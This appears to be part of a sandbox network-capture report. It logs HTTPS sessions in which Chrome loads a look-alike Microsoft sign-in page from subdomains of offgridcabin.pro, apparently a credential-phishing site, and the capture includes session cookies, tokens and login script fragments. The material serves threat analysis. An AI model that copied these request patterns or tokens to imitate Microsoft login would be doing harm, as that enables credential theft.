2025-01-13 20:53:08 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 37 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:07 GMT
2025-01-13 20:53:08 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 44 34 34 41 38 43 45 45 34 46 34 0d 0a Data Ascii: Etag: 0x8DB5D44A8CEE4F4
2025-01-13 20:53:08 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 35 20 4d 61 79 20 32 30 32 33 20 31 37 3a 32 32 3a 34 37 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 25 May 2023 17:22:47 GMT
2025-01-13 20:53:08 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49909	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:08 UTC	2164	OUT	POST /common/handlers/watson HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive Content-Length: 5765 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 183a9680-59da-46c0-a62b-8531583ca85f canary: PAQABDgEAAABVrSpeuWamRam2jAF1XRQEZQEOALD5g2hQDDo0Zv1nuEnxFbmNn4xLRZBv_K_xGrlIL8UcJa7uZVktJ56nNR4fxFnLQmxVp74TfbS5QwL3CGMrF05keiSoIw-oMcrenYsJnziGGuTCejSP_ZYVIibwx38tFt9935M_wOiziAIbfe3gipueFe54nm2sCs1YuFz36AHDBGPq4RDC_Gg6r-bKKO3d6sS6XCs_L9i7G4SxTSAA Content-Type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 2101 sec-ch-ua-platform: "Windows" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66 [TRUNCATED]
2025-01-13 20:53:08 UTC	5765	OUT	Data Raw: 7b 22 65 63 22 3a 22 5b 52 65 74 72 79 20 30 5d 20 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 65 78 74 65 72 6e 61 6c 20 72 65 73 6f 75 72 63 65 20 5b 27 68 74 74 70 73 3a 2f 2f 6b 7a 6c 65 68 62 33 30 6a 30 71 64 33 36 6d 62 75 62 6f 78 35 6a 67 64 63 2e 6f 66 66 67 72 69 64 63 61 62 69 6e 2e 70 72 6f 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 6a 73 2f 43 6f 6e 76 65 72 67 65 64 4c 6f 67 69 6e 5f 50 43 6f 72 65 5f 6e 37 56 4b 77 74 57 59 6d 32 6d 42 4c 63 49 4b 41 5a 66 51 6c 77 32 2e 6a 73 27 5d 2c 20 72 65 6c 6f 61 64 69 6e 67 20 66 72 6f 6d 20 66 61 6c 6c 62 61 63 6b 20 43 44 4e 20 65 6e 64 70 6f 69 6e 74 22 2c 22 77 65 63 22 3a 22 35 36 22 2c 22 69 64 78 22 3a 31 2c 22 70 6e 22 3a 22 43 6f 6e 76 65 72 67 65 64 53 69 67 6e 49 6e 22 Data Ascii: {"ec":"[Retry 0] Failed to load external resource ['https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js'], reloading from fallback CDN endpoint","wec":"56","idx":1,"pn":"ConvergedSignIn"
2025-01-13 20:53:08 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:08 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:08 UTC	57	IN	Data Raw: 43 6c 69 65 6e 74 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 38 33 61 39 36 38 30 2d 35 39 64 61 2d 34 36 63 30 2d 61 36 32 62 2d 38 35 33 31 35 38 33 63 61 38 35 66 0d 0a Data Ascii: Client-Request-Id: 183a9680-59da-46c0-a62b-8531583ca85f
2025-01-13 20:53:08 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:08 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-13 20:53:08 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 37 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:07 GMT
2025-01-13 20:53:08 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-13 20:53:08 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-13 20:53:08 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-13 20:53:08 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49910	152.199.21.175	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:08 UTC	412	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:53:08 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2694517 Cache-Control: public, max-age=31536000 Content-MD5: nNppmoTKhyn68ZS47932wA== Content-Type: application/x-javascript Date: Mon, 13 Jan 2025 20:53:08 GMT Etag: 0x8DD1AF4C17492F5 Last-Modified: Thu, 12 Dec 2024 21:34:27 GMT Server: ECAcc (lhc/7941) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1588139e-301e-00ea-0d7b-4ded02000000 x-ms-version: 2009-09-19 Content-Length: 454821 Connection: close
2025-01-13 20:53:08 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2025-01-13 20:53:08 UTC	16383	IN	Data Raw: 44 49 4e 47 5f 4e 4f 54 5f 41 4c 4c 4f 57 45 44 3a 22 38 30 30 34 37 38 44 37 22 2c 50 50 5f 45 5f 49 44 50 5f 42 49 4e 44 49 4e 47 5f 45 58 49 53 54 53 5f 53 41 4d 53 55 4e 47 3a 22 38 30 30 34 34 35 33 45 22 2c 50 50 5f 45 5f 54 52 41 4e 53 46 45 52 5f 54 4f 4b 45 4e 5f 49 4e 56 41 4c 49 44 5f 53 45 53 53 49 4f 4e 3a 22 38 30 30 34 33 35 41 30 22 7d 2c 6e 2e 45 73 74 73 45 72 72 6f 72 3d 7b 55 73 65 72 41 63 63 6f 75 6e 74 53 65 6c 65 63 74 69 6f 6e 49 6e 76 61 6c 69 64 3a 22 31 36 30 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 22 35 30 30 32 30 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 41 70 69 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3a 22 35 30 30 32 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a Data Ascii: DING_NOT_ALLOWED:"800478D7",PP_E_IDP_BINDING_EXISTS_SAMSUNG:"8004453E",PP_E_TRANSFER_TOKEN_INVALID_SESSION:"800435A0"},n.EstsError={UserAccountSelectionInvalid:"16001",UserUnauthorized:"50020",UserUnauthorizedApiVersionNotSupported:"500201",UserUnauthoriz
2025-01-13 20:53:08 UTC	2	IN	Data Raw: 72 6e Data Ascii: rn
2025-01-13 20:53:08 UTC	16383	IN	Data Raw: 22 77 68 69 74 65 22 3b 69 66 28 50 29 72 65 74 75 72 6e 20 54 2e 67 65 74 49 73 48 69 67 68 43 6f 6e 74 72 61 73 74 55 73 69 6e 67 43 73 73 4d 65 64 69 61 51 75 65 72 79 28 29 2e 74 68 65 6d 65 7d 7d 7d 2c 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 26 26 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 3f 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a 7b 70 Data Ascii: "white";if(P)return T.getIsHighContrastUsingCssMediaQuery().theme}}},getComputedStyle:function(e){return document.defaultView&&document.defaultView.getComputedStyle?document.defaultView.getComputedStyle(e,null):e.currentStyle?e.currentStyle:{}},history:{p
2025-01-13 20:53:09 UTC	16383	IN	Data Raw: 6c 2c 65 2e 74 72 61 63 65 55 72 6c 26 26 28 6e 3f 6e 2e 75 72 6c 3d 74 3a 6e 3d 74 29 29 3a 6e 3d 6e 75 6c 6c 2c 69 26 26 69 2e 65 76 65 6e 74 49 64 26 26 73 2e 6c 6f 67 45 76 65 6e 74 28 7b 65 76 65 6e 74 54 79 70 65 3a 22 6f 6e 52 65 64 69 72 65 63 74 22 2c 65 76 65 6e 74 49 64 3a 69 2e 65 76 65 6e 74 49 64 2c 65 76 65 6e 74 4c 65 76 65 6c 3a 69 2e 65 76 65 6e 74 4c 65 76 65 6c 2c 65 76 65 6e 74 41 72 67 73 3a 6e 2c 65 76 65 6e 74 4f 70 74 69 6f 6e 73 3a 69 7d 29 2c 74 7d 2c 73 2e 67 65 74 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 22 29 7c 7c Data Ascii: l,e.traceUrl&&(n?n.url=t:n=t)):n=null,i&&i.eventId&&s.logEvent({eventType:"onRedirect",eventId:i.eventId,eventLevel:i.eventLevel,eventArgs:n,eventOptions:i}),t},s.getPropertyLogOption=function(e,n){return(n=n\|\|{}).hasOwnProperty("tracingPropertyChange")\|\|
2025-01-13 20:53:09 UTC	16383	IN	Data Raw: 6d 61 69 6c 3a 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 41 6c 74 45 6d 61 69 6c 3a 74 3d 6e 3f 6c 2e 45 6d 61 69 6c 41 64 64 72 65 73 73 45 6e 63 72 79 70 74 65 64 3a 6c 2e 45 6d 61 69 6c 41 64 64 72 65 73 73 3b 62 72 65 61 6b 3b 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 56 32 3a 74 3d 6c 2e 53 65 73 73 69 6f 6e 41 70 70 72 6f 76 65 72 7d 72 65 74 75 72 6e 20 74 7d 3b 6e 2e 50 72 6f 6f 66 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 75 73 65 72 6e 61 6d 65 7c 7c 22 22 2c 74 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 7c 7c 22 22 2c 69 3d 65 2e 70 75 72 70 6f 73 65 7c 7c 63 2e 50 61 73 73 77 6f 72 64 2c 61 3d 65 2e 70 72 6f 6f 66 54 79 70 65 2c 6f 3d 65 2e 70 72 6f 6f 66 44 61 74 61 Data Ascii: mail:case PROOF.Type.AltEmail:t=n?l.EmailAddressEncrypted:l.EmailAddress;break;case PROOF.Type.TOTPAuthenticatorV2:t=l.SessionApprover}return t};n.Proof=function(e){var n=e.username\|\|"",t=e.flowToken\|\|"",i=e.purpose\|\|c.Password,a=e.proofType,o=e.proofData
2025-01-13 20:53:09 UTC	16383	IN	Data Raw: 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 66 3d 7a 65 28 65 2c 21 30 2c 6e 29 3b 66 2e 6c 65 6e 67 74 68 3e 30 26 26 28 63 2e 41 72 72 61 79 2e 66 6f 72 45 61 63 68 28 66 2c 51 65 29 2c 70 3d 70 2e 63 6f 6e 63 61 74 28 66 29 29 7d 72 65 74 75 72 6e 20 70 7d 66 75 6e 63 74 69 6f 6e 20 65 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 3b 69 66 28 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 69 3d 7a 65 28 65 2c 21 31 2c 6e 29 3b 69 2e 6c 65 6e 67 Data Ascii: e[PROOF.Type.Email]&&Se[PROOF.Type.SMS]&&Se[PROOF.Type.Voice]){var f=ze(e,!0,n);f.length>0&&(c.Array.forEach(f,Qe),p=p.concat(f))}return p}function en(e,n){var t=[];if(Se[PROOF.Type.Email]&&Se[PROOF.Type.SMS]&&Se[PROOF.Type.Voice]){var i=ze(e,!1,n);i.leng
2025-01-13 20:53:09 UTC	16383	IN	Data Raw: 6e 67 2c 67 3d 72 2e 50 61 67 69 6e 61 74 65 64 53 74 61 74 65 2c 6d 3d 72 2e 43 72 65 64 65 6e 74 69 61 6c 54 79 70 65 2c 62 3d 72 2e 44 69 61 6c 6f 67 49 64 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 74 3d 65 2e 73 65 72 76 65 72 44 61 74 61 2c 61 3d 65 2e 75 73 65 72 6e 61 6d 65 2c 72 3d 65 2e 61 76 61 69 6c 61 62 6c 65 43 72 65 64 73 7c 7c 5b 5d 2c 75 3d 65 2e 63 75 72 72 65 6e 74 43 72 65 64 7c 7c 7b 7d 2c 70 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 2c 76 3d 65 2e 73 68 6f 77 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 68 3d 65 2e 68 69 64 65 43 72 65 64 53 77 69 74 63 68 4c 69 6e 6b 2c 5f 3d 65 2e 61 72 69 61 44 65 73 63 72 69 62 65 64 42 79 2c 43 3d 65 2e 73 65 74 46 6f 63 75 73 2c 53 3d 74 2e 73 74 72 2c 78 3d 74 2e Data Ascii: ng,g=r.PaginatedState,m=r.CredentialType,b=r.DialogId;function v(e){var n=this,t=e.serverData,a=e.username,r=e.availableCreds\|\|[],u=e.currentCred\|\|{},p=e.flowToken,v=e.showForgotUsername,h=e.hideCredSwitchLink,_=e.ariaDescribedBy,C=e.setFocus,S=t.str,x=t.
2025-01-13 20:53:09 UTC	16383	IN	Data Raw: 61 74 69 6f 6e 7d 2c 6f 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 28 76 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 28 6e 65 77 20 6c 2e 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 28 65 2c 6f 2e 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 56 69 65 77 49 64 2c 76 29 29 7d 29 2c 61 2e 44 65 66 61 75 6c 74 52 65 71 75 65 73 74 54 69 6d 65 6f 75 74 29 7d 29 29 7d 7d 6c 2e 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 68 69 73 2e 6e 61 6d 65 3d 22 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 22 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 22 43 61 6e 61 72 79 20 76 61 6c 69 64 61 74 69 6f 6e 20 66 61 69 6c 65 64 2c 20 75 73 65 72 20 63 6f 6e 66 69 72 6d Data Ascii: ation},o,(function(){e(v)}),(function(e){n(new l.CanaryValidationError(e,o.ConfirmationViewId,v))}),a.DefaultRequestTimeout)}))}}l.CanaryValidationError=function(e,n,t){this.name="CanaryValidationError",this.message="Canary validation failed, user confirm
2025-01-13 20:53:09 UTC	6	IN	Data Raw: 73 79 6e 63 68 72 Data Ascii: synchr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49913	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:08 UTC	501	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:09 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:09 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:09 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:09 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:09 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:09 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:09 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:09 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 39 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:09 GMT
2025-01-13 20:53:09 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 44 34 34 41 38 43 45 45 34 46 34 0d 0a Data Ascii: Etag: 0x8DB5D44A8CEE4F4
2025-01-13 20:53:09 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 35 20 4d 61 79 20 32 30 32 33 20 31 37 3a 32 32 3a 34 37 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 25 May 2023 17:22:47 GMT
2025-01-13 20:53:09 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49914	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:08 UTC	743	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:09 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:09 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:09 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
